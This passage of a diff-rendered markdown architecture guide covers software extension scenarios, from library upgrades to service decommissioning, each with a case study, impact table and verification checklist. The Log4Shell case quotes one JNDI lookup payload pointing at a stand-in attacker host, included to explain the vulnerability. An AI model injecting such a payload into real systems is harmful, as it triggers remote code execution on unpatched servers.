|
57
|
+
### Situation
|
|
58
|
+
|
|
59
|
+
Major version upgrade of a library or framework, potentially changing API signatures or removing deprecated features.
|
|
60
|
+
|
|
61
|
+
### Case Study: React — Class Components to Hooks (2019)
|
|
62
|
+
|
|
63
|
+
React 16.8 replaced class component state management (`this.state`, lifecycle methods, HOCs) with Hooks (`useState`, `useEffect`). Organizations with thousands of class components (Airbnb: 30,000+) faced multi-year migrations. Codebases with container/presenter separation could migrate independently; tightly coupled codebases required file-by-file rewrites. Tests using enzyme's class-specific shallow rendering broke entirely.
|
|
64
|
+
|
|
65
|
+
### Impact Analysis
|
|
66
|
+
|
|
67
|
+
| Principle | Impact |
|
|
68
|
+
|---|---|
|
|
69
|
+
| Abstraction layer | Direct coupling to library means every call site is affected |
|
|
70
|
+
| API surface | Changed signatures require updating all callers or writing adapters |
|
|
71
|
+
| Test suite | Tests using library-specific APIs may break |
|
|
72
|
+
| Migration path | Old and new patterns must coexist during migration |
|
|
73
|
+
|
|
74
|
+
### Verification Checklist
|
|
75
|
+
|
|
76
|
+
- [ ] Is internal code abstracted via interfaces or directly coupled? → dependency_rules.md §Direction Rules (DIP)
|
|
77
|
+
- [ ] Can the impact scope be determined when API signatures change? → dependency_rules.md §Referential Integrity
|
|
78
|
+
- [ ] Does a migration path exist allowing old/new coexistence? → concepts.md §Change Management Terms (Branch-by-Abstraction)
|
|
79
|
+
- [ ] Are tests dependent on library internals? → logic_rules.md §Testing Logic (Test Independence)
|
|
80
|
+
- [ ] Are transitive dependencies affected? → dependency_rules.md §Build/Package Dependency Rules (Transitive Dependency Management)
|
|
81
|
+
- [ ] Is the lock file updated and committed? → dependency_rules.md §Build/Package Dependency Rules (Lock File Management)
|
|
82
|
+
|
|
83
|
+
### Affected Files
|
|
84
|
+
|
|
85
|
+
| File | Impact | Section |
|
|
86
|
+
|---|---|---|
|
|
87
|
+
| dependency_rules.md | Modify | §External Dependency Management, §Build/Package Dependency Rules |
|
|
88
|
+
| structure_spec.md | Verify | §Required Relationships |
|
|
89
|
+
| logic_rules.md | Verify | §Testing Logic, §Type System Logic |
|
|
90
|
+
| concepts.md | Verify | §Change Management Terms |
|
|
91
|
+
|
|
92
|
+
---
|
|
93
|
+
|
|
94
|
+
## Case 3: Schema/Data Model Change
|
|
95
|
+
|
|
96
|
+
### Situation
|
|
97
|
+
|
|
98
|
+
Adding, removing, or changing fields in an existing data model. Identifier format changes have especially broad impact on referential integrity.
|
|
99
|
+
|
|
100
|
+
### Case Study: Twitter — Snowflake ID Migration (2010)
|
|
101
|
+
|
|
102
|
+
Twitter migrated from MySQL auto-increment IDs to Snowflake, a distributed 64-bit ID system encoding timestamp, machine ID, and sequence. Auto-increment required a centralized database — unsustainable at 400M+ tweets/day. The migration required: changing all ID columns from 32-bit to 64-bit, updating every API endpoint and foreign key, verifying JavaScript compatibility (fits within `Number.MAX_SAFE_INTEGER`). A dual-write period allowed both formats to coexist.
|
|
103
|
+
|
|
104
|
+
### Impact Analysis
|
|
105
|
+
|
|
106
|
+
| Principle | Impact |
|
|
107
|
+
|---|---|
|
|
108
|
+
| Type system | Field type changes propagate to all consumers |
|
|
109
|
+
| Referential integrity | Identifier format changes affect every foreign key and cross-service reference |
|
|
110
|
+
| API compatibility | Response format changes are breaking for existing consumers |
|
|
111
|
+
| Source of truth | During migration, two systems coexist — source of truth must be declared |
|
|
112
|
+
|
|
113
|
+
### Verification Checklist
|
|
114
|
+
|
|
115
|
+
- [ ] Does the migration preserve existing data? → structure_spec.md §Storage/Data Layer
|
|
116
|
+
- [ ] Does all code referencing the model accommodate the change? → dependency_rules.md §Referential Integrity
|
|
117
|
+
- [ ] Is API response backward compatibility maintained? → dependency_rules.md §API Dependency Management (Breaking vs Non-breaking Changes Classification)
|
|
118
|
+
- [ ] Are database constraints updated? → logic_rules.md §Constraint Design Logic (Database vs Application Constraint Boundary)
|
|
119
|
+
- [ ] Is the migration reversible and idempotent? → concepts.md §Data/State Management Terms (Migration)
|
|
120
|
+
- [ ] Is schema-code alignment verified? → structure_spec.md §Golden Relationships (Schema-Code alignment)
|
|
121
|
+
- [ ] Is source of truth designated during dual-write? → dependency_rules.md §Source of Truth Management
|
|
122
|
+
|
|
123
|
+
### Affected Files
|
|
124
|
+
|
|
125
|
+
| File | Impact | Section |
|
|
126
|
+
|---|---|---|
|
|
127
|
+
| logic_rules.md | Modify | §Type System Logic, §Constraint Design Logic |
|
|
128
|
+
| dependency_rules.md | Verify | §Referential Integrity, §API Dependency Management |
|
|
129
|
+
| structure_spec.md | Verify | §Storage/Data Layer, §Golden Relationships |
|
|
130
|
+
|
|
131
|
+
---
|
|
132
|
+
|
|
133
|
+
## Case 4: Scale Expansion
|
|
134
|
+
|
|
135
|
+
### Situation
|
|
136
|
+
|
|
137
|
+
10x increase in users, data, or traffic. Bottlenecks emerge at synchronous processing, shared state, and single-instance resources.
|
|
138
|
+
|
|
139
|
+
### Case Study: Netflix — Monolith to Microservices (2012–2016)
|
|
140
|
+
|
|
141
|
+
Netflix migrated from a monolithic Java application to 700+ microservices on AWS for 100M+ subscribers. The monolith's single database was a bottleneck, a single bug could crash everything, and deployments required all-team coordination. Key decisions: each service owns its data, inter-service calls use circuit breakers (Hystrix), eventual consistency accepted where appropriate. Netflix open-sourced Eureka (discovery), Zuul (gateway), Hystrix (circuit breaker). The migration proved microservices solve scaling but require heavy observability investment.
|
|
142
|
+
|
|
143
|
+
### Impact Analysis
|
|
144
|
+
|
|
145
|
+
| Principle | Impact |
|
|
146
|
+
|---|---|
|
|
147
|
+
| Module structure | Must support horizontal scaling (stateless or externalized state) |
|
|
148
|
+
| Shared state | Sessions, caches, in-memory state prevent scaling if not externalized |
|
|
149
|
+
| Database | Single database becomes bottleneck; read replicas, sharding, or per-service databases needed |
|
|
150
|
+
| Concurrency | Race conditions invisible at low scale manifest under load |
|
|
151
|
+
|
|
152
|
+
### Verification Checklist
|
|
153
|
+
|
|
154
|
+
- [ ] Can bottleneck points be identified? → structure_spec.md §Quantitative Thresholds
|
|
155
|
+
- [ ] Is the structure capable of horizontal scaling? → structure_spec.md §Architectural Patterns
|
|
156
|
+
- [ ] Does shared state impede scaling? → logic_rules.md §State Management Logic (Distributed State Rules)
|
|
157
|
+
- [ ] Are concurrency issues addressed? → logic_rules.md §Concurrency Logic
|
|
158
|
+
- [ ] Are circuit breakers in place? → dependency_rules.md §Runtime Dependency Rules (Circuit Breaker)
|
|
159
|
+
- [ ] Are timeout and retry policies configured? → dependency_rules.md §Runtime Dependency Rules (Timeout and Retry Policies)
|
|
160
|
+
- [ ] Is observability sufficient? → domain_scope.md §Required Concept Categories (Observability)
|
|
161
|
+
|
|
162
|
+
### Affected Files
|
|
163
|
+
|
|
164
|
+
| File | Impact | Section |
|
|
165
|
+
|---|---|---|
|
|
166
|
+
| structure_spec.md | Modify | §Architectural Patterns, §Quantitative Thresholds |
|
|
167
|
+
| dependency_rules.md | Verify | §Runtime Dependency Rules |
|
|
168
|
+
| logic_rules.md | Verify | §Concurrency Logic, §State Management Logic |
|
|
169
|
+
| domain_scope.md | Verify | §Required Concept Categories |
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## Case 5: New Deployment Environment
|
|
174
|
+
|
|
175
|
+
### Situation
|
|
176
|
+
|
|
177
|
+
Adding a new deployment target (on-premises → cloud, single-region → multi-region, bare metal → Kubernetes).
|
|
178
|
+
|
|
179
|
+
### Case Study: Shopify — Multi-tenant Kubernetes (2019–2021)
|
|
180
|
+
|
|
181
|
+
Shopify migrated from single-tenant bare-metal to multi-tenant Kubernetes for 1.7M+ merchants. Per-merchant infrastructure was expensive and couldn't handle Black Friday spikes. Migration required: separating configuration into ConfigMaps/Secrets, abstracting file system access (local disk → object storage), pod autoscaling for 10x traffic. Critical refactor: hardcoded "one database per tenant" became a routing layer directing queries by tenant ID.
|
|
182
|
+
|
|
183
|
+
### Impact Analysis
|
|
184
|
+
|
|
185
|
+
| Principle | Impact |
|
|
186
|
+
|---|---|
|
|
187
|
+
| Configuration separation | Environment-specific values must not be in code |
|
|
188
|
+
| Infrastructure abstraction | OS-specific and platform-specific code must be abstracted |
|
|
189
|
+
| Deployment pipeline | CI/CD must support multiple targets with environment-specific stages |
|
|
190
|
+
| Data locality | Multi-region introduces data replication and latency considerations |
|
|
191
|
+
|
|
192
|
+
### Verification Checklist
|
|
193
|
+
|
|
194
|
+
- [ ] Are environment-specific settings separated from code? → structure_spec.md §Required Module Structure Elements (Configuration/Environment)
|
|
195
|
+
- [ ] Is environment-dependent code abstracted? → structure_spec.md §Golden Relationships (Config-Code separation)
|
|
196
|
+
- [ ] Are credentials managed via secrets, not hardcoded? → logic_rules.md §Security Logic (Authentication Logic)
|
|
197
|
+
- [ ] Does CI/CD support the new environment? → structure_spec.md §Verification Structure (CI/CD Pipeline Structure)
|
|
198
|
+
- [ ] Is 12-Factor App methodology followed? → domain_scope.md §Reference Standards/Frameworks
|
|
199
|
+
- [ ] Are multi-region data concerns addressed? → logic_rules.md §State Management Logic (Distributed State Rules)
|
|
200
|
+
|
|
201
|
+
### Affected Files
|
|
202
|
+
|
|
203
|
+
| File | Impact | Section |
|
|
204
|
+
|---|---|---|
|
|
205
|
+
| structure_spec.md | Modify | §Required Module Structure Elements, §Golden Relationships, §Verification Structure |
|
|
206
|
+
| dependency_rules.md | Verify | §External Dependency Management |
|
|
207
|
+
| logic_rules.md | Verify | §State Management Logic, §Security Logic |
|
|
208
|
+
| domain_scope.md | Verify | §Reference Standards/Frameworks |
|
|
209
|
+
|
|
210
|
+
---
|
|
211
|
+
|
|
212
|
+
## Case 6: Team/Organization Expansion
|
|
213
|
+
|
|
214
|
+
### Situation
|
|
215
|
+
|
|
216
|
+
Increase in developer count leading to higher concurrent work. Conway's Law: system architecture mirrors organizational structure.
|
|
217
|
+
|
|
218
|
+
### Case Study: Amazon — Two-Pizza Teams and SOA (2002–2006)
|
|
219
|
+
|
|
220
|
+
Bezos mandated all teams communicate through service interfaces — no direct database access, no shared memory. Teams of 6–10 people each owned a service end-to-end. This forced monolith decomposition into hundreds of services with well-defined APIs. Benefits: independent deployment (50+ deploys/day per team by 2011), clear ownership, limited blast radius. Costs: distributed complexity, eventual consistency. Amazon built internal tools, later released as AWS services (DynamoDB, SQS, CloudWatch).
|
|
221
|
+
|
|
222
|
+
### Impact Analysis
|
|
223
|
+
|
|
224
|
+
| Principle | Impact |
|
|
225
|
+
|---|---|
|
|
226
|
+
| Module boundaries | Must be clear enough for independent team work |
|
|
227
|
+
| Shared code | Changes to shared libraries must not block other teams |
|
|
228
|
+
| CI/CD pipeline | Must support parallel builds and per-team deployment |
|
|
229
|
+
| API contracts | Inter-team communication through contracts, not direct code sharing |
|
|
230
|
+
|
|
231
|
+
### Verification Checklist
|
|
232
|
+
|
|
233
|
+
- [ ] Are module boundaries clear enough for independent work? → structure_spec.md §Classification Criteria Design
|
|
234
|
+
- [ ] Do shared code changes not block other teams? → dependency_rules.md §Package/Module Dependency Patterns (Shared Kernel)
|
|
235
|
+
- [ ] Does CI/CD support parallel builds/tests? → structure_spec.md §Verification Structure (CI/CD Pipeline Structure)
|
|
236
|
+
- [ ] Are inter-module contracts explicitly defined? → logic_rules.md §Inter-module Contract Logic
|
|
237
|
+
- [ ] Is dependency fan-in within threshold (≤ 20)? → structure_spec.md §Quantitative Thresholds
|
|
238
|
+
- [ ] Is the dependency graph a DAG? → dependency_rules.md §Acyclic Dependencies
|
|
239
|
+
|
|
240
|
+
### Affected Files
|
|
241
|
+
|
|
242
|
+
| File | Impact | Section |
|
|
243
|
+
|---|---|---|
|
|
244
|
+
| structure_spec.md | Modify | §Classification Criteria Design, §Quantitative Thresholds |
|
|
245
|
+
| dependency_rules.md | Verify | §Acyclic Dependencies, §Package/Module Dependency Patterns |
|
|
246
|
+
| logic_rules.md | Verify | §Inter-module Contract Logic |
|
|
247
|
+
|
|
248
|
+
---
|
|
249
|
+
|
|
250
|
+
## Case 7: Event Sourcing Extension (when applicable)
|
|
251
|
+
|
|
252
|
+
### Situation
|
|
253
|
+
|
|
254
|
+
Adding new event types, states, and resume functionality to an Event Sourcing system.
|
|
255
|
+
|
|
256
|
+
### Case Study: Axon Framework — Event Upcasting at ING Bank
|
|
257
|
+
|
|
258
|
+
Axon Framework (AxonIQ) provides JVM-based Event Sourcing and CQRS for financial institutions. When ING added `FraudAlertRaised` to their payment pipeline: (1) projectors with catch-all handlers threw on unknown events, (2) the new `PaymentFrozen` terminal state required updating state machines that assumed `PaymentCompleted` was final, (3) old events needed compatibility with new code via `EventUpcaster` chains. Key lesson: adding an event type is a schema evolution affecting all historical data.
|
|
259
|
+
|
|
260
|
+
### Impact Analysis
|
|
261
|
+
|
|
262
|
+
| Principle | Impact |
|
|
263
|
+
|---|---|
|
|
264
|
+
| Event schema | New events must be forward-compatible with existing projectors |
|
|
265
|
+
| Terminal states | New terminal states affect all state machines and workflow logic |
|
|
266
|
+
| Replay safety | Historical events must be replayable with new projector code |
|
|
267
|
+
| Partial commit | Multiple events in one business operation must be atomic |
|
|
268
|
+
|
|
269
|
+
### Verification Checklist
|
|
270
|
+
|
|
271
|
+
- [ ] Do existing projectors safely handle unknown events? → logic_rules.md §Type System Logic (Fundamental Type Rules)
|
|
272
|
+
- [ ] Is handling defined for changed external inputs at resumption? → logic_rules.md §State Management Logic (Fundamental State Rules)
|
|
273
|
+
- [ ] Do touch points grow proportionally or remain fixed when adding stages? → structure_spec.md §Architectural Patterns
|
|
274
|
+
- [ ] Are new terminal states documented? → concepts.md §Data/State Management Terms (Terminal State)
|
|
275
|
+
- [ ] Is partial commit prevention addressed? → logic_rules.md §State Management Logic (Fundamental State Rules)
|
|
276
|
+
- [ ] Is event upcasting defined for schema evolution? → concepts.md §Data/State Management Terms (Migration)
|
|
277
|
+
|
|
278
|
+
### Affected Files
|
|
279
|
+
|
|
280
|
+
| File | Impact | Section |
|
|
281
|
+
|---|---|---|
|
|
282
|
+
| logic_rules.md | Modify | §State Management Logic, §Type System Logic |
|
|
283
|
+
| concepts.md | Verify | §Data/State Management Terms |
|
|
284
|
+
| structure_spec.md | Verify | §Architectural Patterns |
|
|
285
|
+
| dependency_rules.md | Verify | §Source of Truth Management |
|
|
286
|
+
|
|
287
|
+
---
|
|
288
|
+
|
|
289
|
+
## Case 8: Security Incident Response
|
|
290
|
+
|
|
291
|
+
### Situation
|
|
292
|
+
|
|
293
|
+
A security vulnerability is discovered in a dependency or the system itself. Supply chain vulnerabilities propagate through transitive dependencies.
|
|
294
|
+
|
|
295
|
+
### Case Study: Log4Shell — CVE-2021-44228 (December 2021)
|
|
296
|
+
|
|
297
|
+
Log4Shell was an RCE vulnerability in Apache Log4j 2, allowing code execution via crafted log message strings (`${jndi:ldap://attacker.com/exploit}`). Log4j was a transitive dependency in millions of applications — most teams didn't know they used it. Response required: scanning dependency trees 3-4 levels deep, identifying vulnerable versions (2.0-beta9 through 2.14.1), patching while maintaining compatibility, generating SBOMs for future visibility. Organizations with mature dependency management responded in hours; others took weeks.
|
|
298
|
+
|
|
299
|
+
### Impact Analysis
|
|
300
|
+
|
|
301
|
+
| Principle | Impact |
|
|
302
|
+
|---|---|
|
|
303
|
+
| Dependency visibility | Transitive dependencies must be enumerable |
|
|
304
|
+
| Supply chain | Integrity must be verifiable via checksums and signatures |
|
|
305
|
+
| Patch propagation | A library fix must propagate to all consuming applications |
|
|
306
|
+
| Test regression | Patching may change behavior — tests must verify no regressions |
|
|
307
|
+
|
|
308
|
+
### Verification Checklist
|
|
309
|
+
|
|
310
|
+
- [ ] Can all instances of the vulnerable dependency be identified, including transitive? → dependency_rules.md §Build/Package Dependency Rules (Transitive Dependency Management)
|
|
311
|
+
- [ ] Is dependency audit running in CI? → dependency_rules.md §Build/Package Dependency Rules (Dependency Security)
|
|
312
|
+
- [ ] Are lock files committed and current? → dependency_rules.md §Build/Package Dependency Rules (Lock File Management)
|
|
313
|
+
- [ ] Is SBOM generated? → dependency_rules.md §Build/Package Dependency Rules (Dependency Security)
|
|
314
|
+
- [ ] Are defense-in-depth layers operational? → logic_rules.md §Security Logic (Input Validation Logic)
|
|
315
|
+
- [ ] Are downstream consumers notified? → dependency_rules.md §External Dependency Management
|
|
316
|
+
|
|
317
|
+
### Affected Files
|
|
318
|
+
|
|
319
|
+
| File | Impact | Section |
|
|
320
|
+
|---|---|---|
|
|
321
|
+
| dependency_rules.md | Modify | §Build/Package Dependency Rules, §External Dependency Management |
|
|
322
|
+
| logic_rules.md | Verify | §Security Logic |
|
|
323
|
+
| structure_spec.md | Verify | §Verification Structure (CI/CD Pipeline Structure) |
|
|
324
|
+
| domain_scope.md | Verify | §Major Sub-areas > Security & Auth |
|
|
325
|
+
|
|
326
|
+
---
|
|
327
|
+
|
|
328
|
+
## Case 9: API Versioning / Breaking Change
|
|
329
|
+
|
|
330
|
+
### Situation
|
|
331
|
+
|
|
332
|
+
A widely-used API needs breaking changes while existing consumers cannot all upgrade immediately.
|
|
333
|
+
|
|
334
|
+
### Case Study: Stripe — Date-Based API Versioning
|
|
335
|
+
|
|
336
|
+
Stripe pins each merchant to the API version at integration time (e.g., `2023-10-16`). Breaking changes only affect newer versions. Compatibility is maintained via "version transformers" — middleware translating between the current internal representation and each API version. Setting `Stripe-Version: 2020-08-27` routes responses through transformers undoing changes after that date. This avoids the "upgrade cliff" but accumulates complexity: each breaking change requires a bidirectional transformer tested against all active versions.
|
|
337
|
+
|
|
338
|
+
### Impact Analysis
|
|
339
|
+
|
|
340
|
+
| Principle | Impact |
|
|
341
|
+
|---|---|
|
|
342
|
+
| Consumer enumeration | All consumers must be identified before breaking changes |
|
|
343
|
+
| Migration path | Consumers need clear, documented upgrade instructions |
|
|
344
|
+
| Backward compatibility | Old versions must continue working for a defined period |
|
|
345
|
+
| Contract testing | Each supported version must be tested for correct behavior |
|
|
346
|
+
|
|
347
|
+
### Verification Checklist
|
|
348
|
+
|
|
349
|
+
- [ ] Are all consumers of the affected API enumerated? → dependency_rules.md §Referential Integrity
|
|
350
|
+
- [ ] Is the change classified as breaking or non-breaking? → dependency_rules.md §API Dependency Management (Breaking vs Non-breaking Changes Classification)
|
|
351
|
+
- [ ] Is a versioning strategy selected? → dependency_rules.md §API Dependency Management (REST API Versioning Strategies)
|
|
352
|
+
- [ ] Is backward compatibility maintained for the deprecation period? → concepts.md §Change Management Terms (Deprecation)
|
|
353
|
+
- [ ] Are contract tests in place? → concepts.md §Testing Terms ([L3] Contract Test)
|
|
354
|
+
- [ ] Are gRPC/GraphQL evolution rules followed if applicable? → dependency_rules.md §API Dependency Management
|
|
355
|
+
|
|
356
|
+
### Affected Files
|
|
357
|
+
|
|
358
|
+
| File | Impact | Section |
|
|
359
|
+
|---|---|---|
|
|
360
|
+
| dependency_rules.md | Modify | §API Dependency Management, §Referential Integrity |
|
|
361
|
+
| logic_rules.md | Verify | §Type System Logic, §Inter-module Contract Logic |
|
|
362
|
+
| concepts.md | Verify | §Change Management Terms |
|
|
363
|
+
| structure_spec.md | Verify | §Golden Relationships (Documentation-Code alignment) |
|
|
364
|
+
|
|
365
|
+
---
|
|
366
|
+
|
|
367
|
+
## Case 10: Monolith to Microservices Migration
|
|
368
|
+
|
|
369
|
+
### Situation
|
|
370
|
+
|
|
371
|
+
Decomposing a monolithic application into microservices (or choosing not to). The decision must be driven by concrete requirements, not trends.
|
|
372
|
+
|
|
373
|
+
### Case Study: Shopify — Modular Monolith (2019–2023)
|
|
374
|
+
|
|
375
|
+
Shopify's Rails monolith serves 1.7M+ merchants ($444B+ GMV). Rather than microservices, they chose a modular monolith with Packwerk (static analysis enforcing module boundaries). Each component has `public/` (API surface) and `private/` internals — cross-component communication through public API only. Rationale: microservices would add network latency, distributed transactions, and service mesh overhead. The modular monolith achieves independent development without distributed complexity.
|
|
376
|
+
|
|
377
|
+
### Impact Analysis
|
|
378
|
+
|
|
379
|
+
| Principle | Impact |
|
|
380
|
+
|---|---|
|
|
381
|
+
| Bounded contexts | Each service/module must align with a domain boundary |
|
|
382
|
+
| Data ownership | Each service must own its data; shared databases create distributed monoliths |
|
|
383
|
+
| Transaction boundaries | Cross-service operations require sagas or eventual consistency |
|
|
384
|
+
| Testing strategy | Integration tests become cross-service; E2E requires service orchestration |
|
|
385
|
+
|
|
386
|
+
### Verification Checklist
|
|
387
|
+
|
|
388
|
+
- [ ] Are bounded contexts identified via domain analysis? → concepts.md §Architecture Core Terms (Bounded Context)
|
|
389
|
+
- [ ] Are module/service boundaries enforced? → structure_spec.md §Architectural Patterns (Modular Monolith)
|
|
390
|
+
- [ ] Does each service own its data exclusively? → structure_spec.md §Storage/Data Layer
|
|
391
|
+
- [ ] Are cross-service transactions handled via sagas? → logic_rules.md §State Management Logic (Saga Pattern)
|
|
392
|
+
- [ ] Is inter-service communication through defined APIs? → logic_rules.md §Inter-module Contract Logic
|
|
393
|
+
- [ ] Are anti-corruption layers in place? → dependency_rules.md §Package/Module Dependency Patterns (Anti-corruption Layer)
|
|
394
|
+
- [ ] Is the dependency graph a DAG at the service level? → dependency_rules.md §Acyclic Dependencies
|
|
395
|
+
- [ ] Are circuit breakers configured? → dependency_rules.md §Runtime Dependency Rules (Circuit Breaker)
|
|
396
|
+
|
|
397
|
+
### Affected Files
|
|
398
|
+
|
|
399
|
+
| File | Impact | Section |
|
|
400
|
+
|---|---|---|
|
|
401
|
+
| structure_spec.md | Modify | §Architectural Patterns, §Classification Criteria Design |
|
|
402
|
+
| dependency_rules.md | Modify | §Runtime Dependency Rules, §Package/Module Dependency Patterns |
|
|
403
|
+
| logic_rules.md | Verify | §State Management Logic, §Inter-module Contract Logic |
|
|
404
|
+
| concepts.md | Verify | §Architecture Core Terms |
|
|
405
|
+
| domain_scope.md | Verify | §Major Sub-areas > Structure & Architecture |
|
|
406
|
+
|
|
407
|
+
---
|
|
408
|
+
|
|
409
|
+
## Case 11: Database Migration
|
|
410
|
+
|
|
411
|
+
### Situation
|
|
412
|
+
|
|
413
|
+
Migrating from one database system to another while guaranteeing zero data loss.
|
|
414
|
+
|
|
415
|
+
### Case Study: GitHub — MySQL to Vitess (2018–2020)
|
|
416
|
+
|
|
417
|
+
GitHub migrated to Vitess (clustering system from YouTube) for 5B+ API requests/day across 1,200+ MySQL hosts. MySQL's single-primary replication limited write scalability; schema migrations on 100M+ row tables took hours. Vitess provides horizontal sharding, connection pooling, and online schema migrations (gh-ost). Strategy: (1) deploy Vitess as proxy (no app changes), (2) remove cross-shard joins, (3) enable sharding for high-write tables, (4) dual-write with automated consistency checks. Zero data loss achieved by validating each step before cutover.
|
|
418
|
+
|
|
419
|
+
### Impact Analysis
|
|
420
|
+
|
|
421
|
+
| Principle | Impact |
|
|
422
|
+
|---|---|
|
|
423
|
+
| Data integrity | All data must be migrated without loss or corruption |
|
|
424
|
+
| Zero downtime | Migration must not require application downtime |
|
|
425
|
+
| Query compatibility | Application queries may need modification for new capabilities |
|
|
426
|
+
| Schema differences | New database may not support all features (triggers, stored procedures) |
|
|
427
|
+
|
|
428
|
+
### Verification Checklist
|
|
429
|
+
|
|
430
|
+
- [ ] Is data integrity verified via automated comparison? → dependency_rules.md §Referential Integrity
|
|
431
|
+
- [ ] Is a dual-write period implemented with consistency checks? → dependency_rules.md §Source of Truth Management
|
|
432
|
+
- [ ] Are all queries compatible with the new database? → structure_spec.md §Storage/Data Layer
|
|
433
|
+
- [ ] Is schema-code alignment verified? → structure_spec.md §Golden Relationships (Schema-Code alignment)
|
|
434
|
+
- [ ] Are database constraints migrated? → logic_rules.md §Constraint Design Logic (Database vs Application Constraint Boundary)
|
|
435
|
+
- [ ] Is the migration reversible at each step? → concepts.md §Data/State Management Terms (Migration)
|
|
436
|
+
- [ ] Are connection strings in configuration, not code? → structure_spec.md §Golden Relationships (Config-Code separation)
|
|
437
|
+
|
|
438
|
+
### Affected Files
|
|
439
|
+
|
|
440
|
+
| File | Impact | Section |
|
|
441
|
+
|---|---|---|
|
|
442
|
+
| dependency_rules.md | Modify | §External Dependency Management, §Referential Integrity, §Source of Truth Management |
|
|
443
|
+
| structure_spec.md | Verify | §Storage/Data Layer, §Golden Relationships |
|
|
444
|
+
| logic_rules.md | Verify | §Constraint Design Logic |
|
|
445
|
+
| concepts.md | Verify | §Data/State Management Terms |
|
|
446
|
+
|
|
447
|
+
---
|
|
448
|
+
|
|
449
|
+
## Case 12: Feature Removal / Deprecation
|
|
450
|
+
|
|
451
|
+
### Situation
|
|
452
|
+
|
|
453
|
+
Removing an existing feature, including deprecation notice, migration path for consumers, dead code cleanup, and data retention/deletion decisions.
|
|
454
|
+
|
|
455
|
+
### Case Study: Google — Google Reader Shutdown (2013)
|
|
456
|
+
|
|
457
|
+
Google Reader served millions of RSS subscribers. Shutdown required: 6-month deprecation notice, Google Takeout data export for user data, API deprecation for third-party clients (Feedly, Reeder migrated 500K+ users in 3 months), redirects from old URLs. Key lesson: feature removal affects both direct users and API consumers differently.
|
|
458
|
+
|
|
459
|
+
### Impact Analysis
|
|
460
|
+
|
|
461
|
+
| Principle | Impact |
|
|
462
|
+
|---|---|
|
|
463
|
+
| Deprecation protocol | Must specify what, when, and replacement |
|
|
464
|
+
| Dead code cleanup | Removal must not break unrelated code paths |
|
|
465
|
+
| Data lifecycle | User data must be exported or archived before deletion |
|
|
466
|
+
| Consumer migration | API consumers need migration guides and timeline |
|
|
467
|
+
|
|
468
|
+
### Verification Checklist
|
|
469
|
+
|
|
470
|
+
- [ ] Is deprecation announced with timeline and replacement? → concepts.md §Change Management Terms (Deprecation)
|
|
471
|
+
- [ ] Are all consumers of the deprecated feature enumerated? → dependency_rules.md §Referential Integrity
|
|
472
|
+
- [ ] Is dead code fully removed (no conditional branches for removed feature)? → structure_spec.md §Isolated Node Prohibition
|
|
473
|
+
- [ ] Is user data handled (export, archive, deletion)? → domain_scope.md §Required Concept Categories (Lifecycle)
|
|
474
|
+
- [ ] Are feature flags for the removed feature cleaned up? → concepts.md §Change Management Terms (Feature Toggle)
|
|
475
|
+
- [ ] Are tests for the removed feature deleted to prevent confusion? → logic_rules.md §Testing Logic (Test Independence)
|
|
476
|
+
|
|
477
|
+
### Affected Files
|
|
478
|
+
|
|
479
|
+
| File | Impact | Section |
|
|
480
|
+
|---|---|---|
|
|
481
|
+
| concepts.md | Verify | §Change Management Terms (Deprecation, Feature Toggle) |
|
|
482
|
+
| dependency_rules.md | Verify | §Referential Integrity, §API Dependency Management |
|
|
483
|
+
| structure_spec.md | Verify | §Isolated Node Prohibition |
|
|
484
|
+
|
|
485
|
+
---
|
|
486
|
+
|
|
487
|
+
## Case 13: Service Decommissioning
|
|
488
|
+
|
|
489
|
+
### Situation
|
|
490
|
+
|
|
491
|
+
Permanently shutting down a service, including traffic drain, data archival, dependency cleanup, and DNS/routing removal.
|
|
492
|
+
|
|
493
|
+
### Case Study: AWS — SimpleDB Sunset (Gradual, 2012–)
|
|
494
|
+
|
|
495
|
+
AWS SimpleDB was superseded by DynamoDB. AWS approach: no new customers accepted, existing customers given multi-year migration window, DynamoDB migration guides published, SimpleDB API maintained read-only during transition, data export tools provided. Key lesson: decommissioning a service with external consumers requires years-long migration support.
|
|
496
|
+
|
|
497
|
+
### Impact Analysis
|
|
498
|
+
|
|
499
|
+
| Principle | Impact |
|
|
500
|
+
|---|---|
|
|
501
|
+
| Traffic drain | All consumers must be migrated before shutdown |
|
|
502
|
+
| Data archival | Data must be archived or migrated to successor service |
|
|
503
|
+
| Dependency cleanup | All references to the service must be removed |
|
|
504
|
+
| DNS/routing | Service endpoints must return informative errors, not timeouts |
|
|
505
|
+
|
|
506
|
+
### Verification Checklist
|
|
507
|
+
|
|
508
|
+
- [ ] Are all consumers identified and migrated? → dependency_rules.md §Referential Integrity
|
|
509
|
+
- [ ] Is data archived with retention policy? → domain_scope.md §Required Concept Categories (Lifecycle)
|
|
510
|
+
- [ ] Are inter-service dependencies cleaned up (no dangling references)? → dependency_rules.md §Acyclic Dependencies
|
|
511
|
+
- [ ] Are monitoring/alerts for the decommissioned service removed? → domain_scope.md §Required Concept Categories (Observability)
|
|
512
|
+
- [ ] Is DNS/routing updated (informative 410 Gone, not timeout)? → dependency_rules.md §API Dependency Management
|
|
513
|
+
- [ ] Is the decommissioned service removed from CI/CD pipelines? → structure_spec.md §Verification Structure (CI/CD Pipeline Structure)
|
|
514
|
+
|
|
515
|
+
### Affected Files
|
|
516
|
+
|
|
517
|
+
| File | Impact | Section |
|
|
518
|
+
|---|---|---|
|
|
519
|
+
| dependency_rules.md | Modify | §Referential Integrity, §External Dependency Management |
|
|
520
|
+
| structure_spec.md | Verify | §Verification Structure |
|
|
521
|
+
| domain_scope.md | Verify | §Required Concept Categories |
|
|
522
|
+
|
|
523
|
+
---
|
|
524
|
+
|
|
525
|
+
## Scenario Interconnections
|
|
526
|
+
|
|
527
|
+
Extension scenarios are not independent. Multiple scenarios often occur simultaneously or trigger each other.
|
|
528
|
+
|
|
529
|
+
| Scenario | Triggers / Interacts With | Reason |
|
|
530
|
+
|---|---|---|
|
|
531
|
+
| Case 1 (New Feature) | → Case 2 (Dependency) | New features often introduce new dependencies |
|
|
532
|
+
| Case 2 (Dependency) | → Case 8 (Security) | Dependency upgrades often triggered by vulnerabilities |
|
|
533
|
+
| Case 3 (Schema) | → Case 9 (API Breaking) | Data model changes propagate to API formats |
|
|
534
|
+
| Case 4 (Scale) | → Case 10 (Monolith→MS) | Scale beyond capacity triggers decomposition |
|
|
535
|
+
| Case 4 (Scale) | → Case 11 (DB Migration) | Scale may exceed database capabilities |
|
|
536
|
+
| Case 4 (Scale) | → Case 5 (Environment) | Scale requires multi-region or cloud |
|
|
537
|
+
